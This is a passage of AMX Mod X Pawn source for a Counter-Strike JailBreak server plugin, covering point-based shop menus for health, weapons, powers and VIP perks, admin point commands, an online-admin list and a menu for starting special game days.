- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 13)
- } else {
- fm_set_user_health(id, get_user_health(id) + 30)
- ColorChat(0, "^4%s ^1Buy ^3^"30 Health^"", shopname)
- emit_sound(id, CHAN_ITEM, "items/medshot4.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- playerpoints[id] -= 13
- }
- }
- case 4:
- {
- if(playerpoints[id] < 17) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 17)
- } else {
- fm_set_user_health(id, get_user_health(id) + 40)
- ColorChat(0, "^4%s ^1Buy ^3^"40 Health^"", shopname)
- emit_sound(id, CHAN_ITEM, "items/medshot4.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- playerpoints[id] -= 17
- }
- }
- case 5:
- {
- if(playerpoints[id] < 20) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 20)
- } else {
- fm_set_user_health(id, get_user_health(id) + 50)
- ColorChat(0, "^4%s ^1Buy ^3^"50 Health^"", shopname)
- emit_sound(id, CHAN_ITEM, "items/medshot4.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- playerpoints[id] -= 20
- }
- }
- }
- ActionShopMenu(id)
- }
- public sub_ActionWeaponsMenu(id, shopwmenu, item)
- {
- if(item == MENU_EXIT || !is_user_alive(id))
- {
- ActionShopMenu(id)
- return
- }
- new Data[7], Name[64], Access, Callback
- menu_item_getinfo(shopwmenu, item, Access, Data,5, Name, 63, Callback)
- new Key = str_to_num(Data)
- switch (Key)
- {
- case 1:
- {
- if(playerpoints[id] < 15) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
- } else {
- if(user_has_weapon(id, CSW_GLOCK18))
- return
- fm_give_item(id, "weapon_glock18")
- cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_glock18", id), 3)
- ColorChat(id, "^1You ar Buy ^3^"Glock^"")
- emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- playerpoints[id] -= 15
- }
- }
- case 2:
- {
- if(playerpoints[id] < 20) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 20)
- } else {
- if(user_has_weapon(id, CSW_USP))
- return
- fm_give_item(id, "weapon_usp")
- cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_usp", id), 3)
- ColorChat(id, "You ar Buy ^3^"Usp^"")
- emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- playerpoints[id] -= 20
- }
- }
- case 3:
- {
- if(playerpoints[id] < 25) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 25)
- } else {
- if(user_has_weapon(id, CSW_DEAGLE))
- return
- fm_give_item(id, "weapon_deagle")
- cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_deagle", id), 1)
- ColorChat(id, "You ar Buy ^3^"Deagle^"")
- emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- playerpoints[id] -= 25
- }
- }
- case 4:
- {
- if(playerpoints[id] < 35) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 35)
- } else {
- if(user_has_weapon(id, CSW_AWP))
- return
- fm_give_item(id, "weapon_awp")
- cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_awp", id), 1)
- ColorChat(id, "You ar Buy ^3^"Awp^"")
- emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- playerpoints[id] -= 35
- }
- }
- }
- ActionShopMenu(id)
- }
- public sub_ActionPowerMenu(id, shoppmenu, item)
- {
- if(item == MENU_EXIT || !is_user_alive(id))
- {
- ActionShopMenu(id)
- return
- }
- new shopname[33]
- get_user_name(id, shopname, 31)
- new Data[7], Name[64], Access, Callback
- menu_item_getinfo(shoppmenu, item, Access, Data,5, Name, 63, Callback)
- new Key = str_to_num(Data)
- switch (Key)
- {
- case 1:
- {
- if(playerpoints[id] < 20) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 20)
- } else {
- cs_set_user_model(id, "FoN-Guard")
- set_task(20.0, "RemoveCam", id)
- ColorChat(0, "^4%s ^1Buy ^3^"Camouflage^" ^1From 20 Seconds", shopname)
- playerpoints[id] -= 20
- }
- }
- case 2:
- {
- if(playerpoints[id] < 15) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
- } else {
- entity_set_float(id, EV_FL_maxspeed, 400.0)
- set_task(20.0, "RemoveSpeed", id)
- ColorChat(0, "^4%s ^1Buy ^3^"Speed^" ^1From 20 Seconds", shopname)
- playerpoints[id] -= 15
- }
- }
- case 3:
- {
- if(playerpoints[id] < 15) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
- } else {
- entity_set_float(id, EV_FL_gravity, 500.0 / 800.0)
- set_task(20.0, "RemoveGravity", id)
- ColorChat(0, "^4%s ^1Buy ^3^"Gravity^" ^1From 15 Seconds", shopname)
- playerpoints[id] -= 15
- }
- }
- case 4:
- {
- if(playerpoints[id] < 15) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
- } else {
- fm_set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 0)
- set_task(4.0, "RemoveStealth", id)
- ColorChat(0, "^4%s ^1Buy ^3^"Stealth^" ^1From 20 Seconds", shopname)
- playerpoints[id] -= 15
- }
- }
- case 5:
- {
- if(playerpoints[id] < 40) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 40)
- } else {
- fm_set_user_godmode(id, 1)
- set_task(10.0, "RemoveGodmode", id)
- ColorChat(id, "^4VIP: %s ^1Buy ^3^"Godmode 10 Seconds^"", shopname)
- emit_sound(0, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- playerpoints[id] -= 40
- }
- }
- case 6:
- {
- if(playerpoints[id] < 45) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 45)
- } else {
- fm_set_user_noclip(id, 1)
- set_task(10.0, "RemoveNoclip", id)
- ColorChat(id, "^4VIP: %s ^1Buy ^3^"Noclip 10 Seconds^"", shopname)
- emit_sound(0, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- playerpoints[id] -= 45
- }
- }
- }
- ActionShopMenu(id)
- }
- public sub_ActionVIPMenu(id, shopvmenu, item)
- {
- if(item == MENU_EXIT || !is_user_alive(id))
- {
- ActionShopMenu(id)
- return
- }
- else if(get_vip[id] || is_user_admin(id))
- {
- new shopname[33]
- get_user_name(id, shopname, 31)
- new Data[7], Name[64], Access, Callback
- menu_item_getinfo(shopvmenu, item, Access, Data,5, Name, 63, Callback)
- new Key = str_to_num(Data)
- switch (Key)
- {
- case 1:
- {
- if(playerpoints[id] < 20) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 20)
- } else {
- if(user_has_weapon(id, CSW_DEAGLE))
- return
- fm_give_item(id, "weapon_deagle")
- cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_deagle", id), 2)
- ColorChat(id, "^4VIP: ^1You ar Buy ^3^"Deagle 2 Bullet^"")
- emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- playerpoints[id] -= 20
- }
- }
- case 2:
- {
- if(playerpoints[id] < 25) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 25)
- } else {
- if(user_has_weapon(id, CSW_AWP))
- return
- fm_give_item(id, "weapon_awp")
- cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_awp", id), 1)
- ColorChat(id, "^4VIP: ^1You ar Buy ^3^"Awp 1 Bullet^"")
- emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- playerpoints[id] -= 25
- }
- }
- case 3:
- {
- if(playerpoints[id] < 35) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 35)
- } else {
- fm_set_user_godmode(id, 1)
- set_task(10.0, "RemoveGodmode", id)
- ColorChat(id, "^4VIP: %s ^1Buy ^3^"Godmode 20 Seconds^"", shopname)
- emit_sound(0, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- playerpoints[id] -= 35
- }
- }
- case 4:
- {
- if(playerpoints[id] < 15) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
- } else {
- cs_set_user_model(id, "FoN-Guard")
- set_task(30.0, "RemoveCam", id)
- ColorChat(0, "^4VIP: %s ^1Buy ^3^"Camouflage^" ^1From 30 Seconds", shopname)
- playerpoints[id] -= 15
- }
- }
- case 5:
- {
- if(playerpoints[id] < 15) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
- } else {
- fm_set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 0)
- set_task(5.0, "RemoveStealth", id)
- ColorChat(0, "^4VIP: %s ^1Buy ^3^"Stealth^" ^1From 5 Seconds", shopname)
- playerpoints[id] -= 15
- }
- }
- case 6:
- {
- if(playerpoints[id] < 20) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 20)
- } else {
- set_bit(g_PlayerVoice, id)
- ColorChat(0, "^4VIP: %s ^1Buy ^3^"Voice^" ^1From 1 Round", shopname)
- playerpoints[id] -= 20
- }
- }
- }
- }
- else
- ColorChat(id, "^4You have no access to this")
- ActionShopMenu(id)
- }
- public sub_ActionKnifeMenu(id, shopvmenu, item)
- {
- if(item == MENU_EXIT || !is_user_alive(id))
- {
- ActionShopMenu(id)
- return
- }
- new shopname[33]
- get_user_name(id, shopname, 31)
- new Data[7], Name[64], Access, Callback
- menu_item_getinfo(shopvmenu, item, Access, Data,5, Name, 63, Callback)
- new Key = str_to_num(Data)
- switch(Key)
- {
- case 1,2,3:
- {
- if(playerpoints[id] < 10) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
- } else {
- new showknifekey[20]
- if(Key == 1) {
- set_bit(g_PlayerCrowbar, id)
- formatex(showknifekey, 19, "CrowBar")
- } else if(Key == 2) {
- set_bit(g_PlayerStunGun, id)
- formatex(showknifekey, 19, "Stun Gun")
- } else if(Key == 3) {
- set_bit(g_PlayerDildo, id)
- formatex(showknifekey, 19, "Dildo")
- }
- Event_CurWeapon(id)
- ColorChat(0, "^4%s ^1Buy ^3^"%s^"", shopname, showknifekey)
- playerpoints[id] -= 10
- }
- }
- case 4:
- {
- if(playerpoints[id] < 10) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
- } else {
- set_bit(g_PlayerBH, id)
- Event_CurWeapon(id)
- ColorChat(0, "^4%s ^1Buy ^3^"Super Bunny Hop Knife^"", shopname)
- playerpoints[id] -= 10
- }
- }
- case 5:
- {
- if(playerpoints[id] < 10) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
- } else {
- set_bit(g_PlayerSpeed, id)
- Event_CurWeapon(id)
- ColorChat(0, "^4%s ^1Buy ^3^"Speed Knife^"", shopname)
- playerpoints[id] -= 10
- }
- }
- case 6:
- {
- if(playerpoints[id] < 10) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
- } else {
- set_bit(g_PlayerGravity, id)
- Event_CurWeapon(id)
- ColorChat(0, "^4%s ^1Buy ^3^"Gravity Knife^"", shopname)
- playerpoints[id] -= 10
- }
- }
- }
- ActionShopMenu(id)
- }
- public sub_ActionOtherMenu(id, shopomenu, item)
- {
- if(item == MENU_EXIT || !is_user_alive(id))
- {
- ActionShopMenu(id)
- return
- }
- new shopname[33]
- get_user_name(id, shopname, 31)
- new Data[7], Name[64], Access, Callback
- menu_item_getinfo(shopomenu, item, Access, Data,5, Name, 63, Callback)
- new Key = str_to_num(Data)
- switch (Key)
- {
- case 1:
- {
- if(playerpoints[id] < 190) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 190)
- } else {
- count = 0
- for(user = 1 ; user <= g_max_clients ; user++)
- if(get_user_flags(user) & ADMIN_CVAR)
- count++
- if(count == 0) {
- cs_set_user_team(id, CS_TEAM_CT)
- ExecuteHamB(Ham_CS_RoundRespawn, id)
- ColorChat(0, "^4%s ^1Buy ^3^"Change Team^"", shopname)
- playerpoints[id] -= 190
- }
- else
- ColorChat(id, "This option dont work because some admin is online.")
- }
- }
- case 2:
- {
- if(playerpoints[id] < 150) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 150)
- } else {
- if(get_vip[id] || is_user_admin(id)) {
- ColorChat(0, "^4You are Already VIP")
- return
- }
- get_vip[id] = true
- //set_user_scoreattrisb(id, 4)
- ColorChat(0, "^4%s ^1Buy ^3^"Full VIP^" ^1Once Map", shopname)
- playerpoints[id] -= 150
- }
- }
- case 3:
- {
- if(playerpoints[id] < 5) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 5)
- } else {
- cs_set_user_model(id, "vip")
- ColorChat(0, "^4%s ^1Buy ^3^"VIP Model^" ^1Once Round", shopname)
- playerpoints[id] -= 5
- }
- }
- case 4:
- {
- if(playerpoints[id] < 10) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
- } else {
- cs_set_user_model(id, "FoN-Woman")
- ColorChat(0, "^4%s ^1Buy ^3^"Admin Model^" ^1Once Round", shopname)
- playerpoints[id] -= 10
- }
- }
- case 5:
- {
- if(playerpoints[id] < 40) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 40)
- } else {
- fm_set_user_rendering(id, kRenderFxGlowShell, random_num(0, 255), random_num(0, 255), random_num(0, 255), kRenderNormal, 255)
- ColorChat(0, "^4%s ^1Buy ^3^"Freeday^" ^1Once Round", shopname)
- playerpoints[id] -= 40
- }
- }
- case 6:
- {
- if(playerpoints[id] < 10) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
- } else {
- footstep[id] = true
- set_task(30.0, "RemoveFootsteps", id)
- fm_set_user_rendering(id, kRenderFxGlowShell, random_num(0, 255), random_num(0, 255), random_num(0, 255), kRenderNormal, 255)
- ColorChat(0, "^4%s ^1Buy ^3^"SilentWalk^" ^130 Seconds", shopname)
- playerpoints[id] -= 10
- }
- }
- }
- ActionShopMenu(id)
- }
- public PlayerPointsMenu(id)
- {
- new shopppmenu = menu_create("\r[\w #FoN.Jail \r]\y JailBreak Shop Menu\d (Version 0.9)^n\yPlayers Points", "sub_ActionPlayersPoints")
- new name[32], szTempid[10], Item[100]
- for( new i = 1; i <= g_max_clients; i++ )
- {
- if(!is_user_connected(i)) continue
- get_user_name(i, name, sizeof(name) - 1)
- num_to_str(i, szTempid, 9)
- if(playerpoints[i] <= 50) formatex(_status[id], 20, "Beginner")
- else if(playerpoints[i] <= 100) formatex(_status[id], 20, "Novice")
- else if(playerpoints[i] <= 200) formatex(_status[id], 20, "Distinguished")
- else if(playerpoints[i] <= 300) formatex(_status[id], 20, "Competent")
- else if(playerpoints[i] <= 400) formatex(_status[id], 20, "Master")
- else if(playerpoints[i] <= 500 || playerpoints[i] >= 500) formatex(_status[id], 20, "Winner")
- formatex(Item, 99, "\y%s \w%d \r%s", name, playerpoints[i], _status[id])
- menu_additem(shopppmenu, Item, szTempid)
- }
- menu_setprop(shopppmenu, MPROP_EXITNAME, "\yExit Shop")
- menu_display(id, shopppmenu)
- }
- public sub_ActionPlayersPoints(client, shopppmenu, item)
- {
- if(item == MENU_EXIT)
- {
- ActionShopMenu(client)
- return
- }
- new data[6], iName[64]
- new _access, callback
- menu_item_getinfo(shopppmenu, item, _access, data,5, iName, 63, callback)
- new tempid = str_to_num(data)
- if(!is_user_connected(tempid)) return
- new name[32]
- get_user_name(tempid, name, sizeof(name) - 1)
- if(playerpoints[tempid] <= 50) formatex(_status[tempid], 16, "Beginner")
- else if(playerpoints[tempid] <= 100) formatex(_status[tempid], 16, "Novice")
- else if(playerpoints[tempid] <= 200) formatex(_status[tempid], 16, "Distinguished")
- else if(playerpoints[tempid] <= 300) formatex(_status[tempid], 16, "Competent")
- else if(playerpoints[tempid] <= 400) formatex(_status[tempid], 16, "Master")
- else formatex(_status[tempid], 16, "Winner")
- ColorChat(client, "^4Number of points that ^3%s^4 is:^3 %i ^1%s", name, playerpoints[tempid], _status[tempid])
- PlayerPointsMenu(client)
- }
- public Ham_UseButton(iEnt, iAttacker) {
- if (!get_cvar_num("use_buttons"))
- return
- else
- dllfunc(DLLFunc_Use, iEnt, iAttacker)
- }
- ResetMaxspeed(id)
- {
- static Float:max_speed
- switch (get_user_weapon(id))
- {
- case CSW_SG550, CSW_AWP, CSW_G3SG1: max_speed = 210.0
- case CSW_M249: max_speed = 220.0
- case CSW_AK47: max_speed = 221.0
- case CSW_M3, CSW_M4A1: max_speed = 230.0
- case CSW_SG552: max_speed = 235.0
- case CSW_XM1014, CSW_AUG, CSW_GALIL, CSW_FAMAS: max_speed = 240.0
- case CSW_P90: max_speed = 245.0
- case CSW_SCOUT: max_speed = 260.0
- default: max_speed = 250.0
- }
- entity_set_float(id, EV_FL_maxspeed, max_speed)
- }
- public cmd_give_points(id,level,cid)
- {
- if(get_user_flags(id) & ADMIN_RCON)
- {
- new target[32], amount[21], reason[21]
- read_argv(1, target, 31)
- read_argv(2, amount, 20)
- read_argv(3, reason, 20)
- new player = cmd_target(id, target, 8)
- if(! player)
- return PLUGIN_HANDLED
- new admin_name[32], player_name[32]
- get_user_name(id, admin_name, 31)
- get_user_name(player, player_name, 31)
- new pointnum = str_to_num(amount)
- playerpoints[player] += pointnum
- switch(get_cvar_num ("amx_show_activity"))
- {
- case 1: client_print(0, print_chat, "ADMIN: gave %i points for %s.", pointnum, player_name)
- case 2: client_print(0, print_chat, "ADMIN %s: gave %i points for %s.", admin_name, pointnum, player_name)
- }
- client_print(player, print_chat, "You received %i points.(Total: %d)", pointnum, playerpoints[player])
- SaveData(id)
- }
- return PLUGIN_HANDLED
- }
- public cmd_take_points(id,level,cid)
- {
- if(get_user_flags(id) & ADMIN_RCON)
- {
- new target[32], amount[21], reason[21]
- read_argv(1, target, 31)
- read_argv(2, amount, 20)
- read_argv(3, reason, 20)
- new player = cmd_target(id, target, 8)
- if(!player)
- return PLUGIN_HANDLED
- new admin_name[32], player_name[32]
- get_user_name(id, admin_name, 31)
- get_user_name(player, player_name, 31)
- new pointnum = str_to_num(amount)
- playerpoints[player] -= pointnum
- switch(get_cvar_num("amx_show_activity"))
- {
- case 1: client_print(0, print_chat, "ADMIN: took %i points from %s.", pointnum, player_name)
- case 2: client_print(0, print_chat, "ADMIN %s: took %i points from %s.", admin_name, pointnum, player_name)
- }
- client_print(player, print_chat, "You lost %i points. (Total: %d)", pointnum, playerpoints[player])
- SaveData(id)
- }
- return PLUGIN_HANDLED
- }
- /*
- public ShowVIP(user)
- {
- ShowAdmin(user)
- new message[256]
- new adminnames[33][32]
- new id, count, x, len
- for(id = 1 ; id <= g_max_clients ; id++)
- if(is_user_connected(id))
- if(get_user_flags(id) & VIP_FLAG || get_vip[id])
- get_user_name(id, adminnames[count++], 31)
- len = format(message, 255, "^4[ #FoN.Jail ] VIPS ONLINE: ")
- if(count > 0) {
- for(x = 0 ; x < count ; x++) {
- len += format(message[len], 255-len, "%s%s ", adminnames[x], x < (count-1) ? ", ":"")
- if(len > 96) {
- print_message(user, message)
- len = format(message, 255, "^4 ")
- }
- }
- print_message(user, message)
- }
- else {
- len += format(message[len], 255-len, "No vips online.")
- print_message(user, message)
- }
- }
- public ShowAdmin(user)
- {
- new message[256]
- new adminnames[33][32]
- new id, count, x, len
- for(id = 1 ; id <= g_max_clients ; id++)
- if(is_user_connected(id))
- if(get_user_flags(id) & ADMIN_RCON)
- get_user_name(id, adminnames[count++], 31)
- len = format(message, 255, "^4[ #FoN.Jail ] TOP ADMINS ONLINE: ")
- if(count > 0) {
- for(x = 0 ; x < count ; x++) {
- len += format(message[len], 255-len, "%s%s ", adminnames[x], x < (count-1) ? ", ":"")
- if(len > 96) {
- print_message(user, message)
- len = format(message, 255, "^4 ")
- }
- }
- print_message(user, message)
- }
- else {
- len += format(message[len], 255-len, "No top admins online.")
- print_message(user, message)
- }
- }
- */
- public show_admins(id)
- {
- new Rashi[5], rCounter = 0
- new Admins[16], aCounter = 0
- new VIP[16], vCounter = 0
- new MaxP[32], pCounter, player
- get_players(MaxP, pCounter, "ch")
- for (new i=0 ; i<pCounter ; i++)
- {
- player = MaxP[i]
- if (access(player, ADMIN_KICK))
- {
- if (access(player, ADMIN_LEVEL_A))
- {
- if (access(player, ADMIN_IMMUNITY))
- {
- Rashi[rCounter] = player
- rCounter++
- continue;
- }
- Admins[aCounter] = player
- aCounter++
- continue;
- }
- VIP[vCounter] = player
- vCounter++
- continue;
- }
- }
- if (rCounter == 0) // If no Head Admins are online
- {
- ColorChat(id, "^3Admins Rashi Online: ^1No Admins Rashi online.")
- }
- else
- {
- new ronline[200]
- new zname[32], iRashiID
- for (new z=0 ; z<rCounter ; z++)
- {
- iRashiID = Rashi[z]
- get_user_name(iRashiID, zname, 31)
- add(ronline, charsmax(ronline), zname)
- if (z != rCounter-1)
- {
- add(ronline, charsmax(ronline), ", ")
- }
- }
- ColorChat(id, "^3Admins Rashi Online: ^1%s.", ronline)
- }
- if (aCounter == 0) // If no Admins are online
- {
- ColorChat(id, "^3Admins Online: ^1No Admins online.")
- }
- else
- {
- new aonline[200]
- new aname[32], iAdminID
- for (new z=0 ; z<aCounter ; z++)
- {
- iAdminID = Admins[z]
- get_user_name(iAdminID, aname, 31)
- add(aonline, charsmax(aonline), aname)
- if (z != aCounter-1)
- {
- add(aonline, charsmax(aonline), ", ")
- }
- }
- ColorChat(id, "^3Admins Online: ^1%s.", aonline)
- }
- if (vCounter == 0) // If no VIP are online
- {
- ColorChat(id, "^3VIP Online: ^1No VIP online.")
- }
- else
- {
- new vonline[200]
- new vname[32], iVIPID
- for (new z=0 ; z<vCounter ; z++)
- {
- iVIPID = VIP[z]
- get_user_name(iVIPID, vname, 31)
- add(vonline, charsmax(vonline), vname)
- if (z != vCounter-1)
- {
- add(vonline, charsmax(vonline), ", ")
- }
- }
- ColorChat(id, "^3VIP Online: ^1%s.", vonline)
- }
- }
- public ShowMenu(id, g_ShowMenu, item)
- {
- if(item == MENU_EXIT)
- return
- new Data[7], Name[64], Access, Callback, adname[33]
- get_user_name(id, adname, 31)
- menu_item_getinfo(g_ShowMenu, item, Access, Data,5, Name, 63, Callback)
- new Key = str_to_num(Data)
- switch(Key)
- {
- case 1:
- {
- ColorChat(0, "^4%s^1 started^4 Zombie day !", adname)
- zombieday = true
- ActionZombie()
- }
- case 2:
- {
- ColorChat(0, "^4%s^1 started^4 Hide'n'seek day !", adname)
- hns_fd = true
- ActionHns()
- }
- case 3:
- {
- ColorChat(0, "^4%s^1 started^4 Shark day !", adname)
- ActionShark()
- }
- case 4:
- {
- ColorChat(0, "^4%s^1 started^4 Free day !", adname)
- hns_fd = true
- ActionFree()
- }
- case 5:
- {
- ColorChat(0, "^4%s^1 started^4 NightCrawler Day !", adname)
- ActionNightCrawler()
- }
- case 6:
- {
- ColorChat(0, "^4%s^1 started^4 Spartan Day !", adname)
- Actionspartanday()
- }
- case 7: ShowMusicMenu(id)
- case 8:
- {
- ColorChat(0, "^4%s^1 started^4 War Day !", adname)
- ActionWarday()
- }
- case 9:
- {
- ColorChat(0, "^4%s^1 started^4 Deathmatch !", adname)
- Deathmatch = true
- ActionDeathmatch()
- }
- case 10:
- {
- ColorChat(0, "^4%s^1 started^4 Birth Day !", adname)
- ActionBirthDay()
- set_task(5.0, "GetRandomPlayer")
- }
- case 11:
- {
- ColorChat(0, "^4%s^1 started^4 Knife Day !", adname)
- ActionKnifeDay()
- knifeday = true
- }
- case 12:
- {
- ColorChat(0, "^4%s^1 started^4 Find The Deagle Day !", adname)
- ActionDeagleDay()
- deagleday = true
- }
- case 13:
- {
- ColorChat(0, "^4%s^1 started^4 Grenade Day !", adname)
- ActionGrenadeDay()
- grenadeday = true
- }
- case 14:
- {
- ColorChat(0, "^4%s^1 started^4 Deagle Day !", adname)
- ActionNorDealgeDay()
- nordeagleday = true
- }
- case 15:
- {
- ColorChat(0, "^4%s^1 started^4 Jump Day !", adname)
- ActionJumpDay()
- }
- case 16:
- {
- ColorChat(0, "^4%s^1 started^4 Special Day", adname)
- set_task(0.25, "GetPlayerDisco",_,_,_, "a", 60)
- set_task(5.0, "ActionRandomDay")
- set_task(20.0, "ShowSpecialHook")
- if(random_num(0,1)) client_cmd(0, "mp3 play ^"sound/FoN/ImposibbleMisson.mp3^"")
- else client_cmd(0, "mp3 play ^"sound/FoN/KillEveryBody.mp3^"")
- }
- case 17:
- {
- ColorChat(0, "^4%s^1 started^4 Random Day !", adname)
- set_task(5.0, "ActionRandomDay")
- set_hudmessage(0, 255, 0, 0.08, -1.0, 0, 6.0, 4.0)
- show_hudmessage(0, "Random day will start in 5 seconds !!")
- }
- case 18:
- {
- new g_OptionMenu = menu_create("\r[\w #FoN.Jail\r]\y Admin Option Menu", "OptionMenu")
- new szNum[3]
- for(new i = 0 ; i < sizeof MessageOpt ; i++) {
- num_to_str(i+1 , szNum , 2)
- menu_additem(g_OptionMenu , MessageOpt[i], szNum)
- }
- menu_display(id, g_OptionMenu)
- }
- } if(Key != 7 && Key != 16 && Key != 17 && Key != 18)
- actiondays = true
- }
- public ShowMusicMenu(id)
- {
- new g_MusicMenu = menu_create("\r[\w #FoN.Jail \r]\y Music Menu", "MusicMenu")
- new szNum[4]
- for(new i = 0 ; i < sizeof SongsName ; i++) {
- num_to_str(i , szNum , 3)
- menu_additem(g_MusicMenu , SongsName[i], szNum)
- }
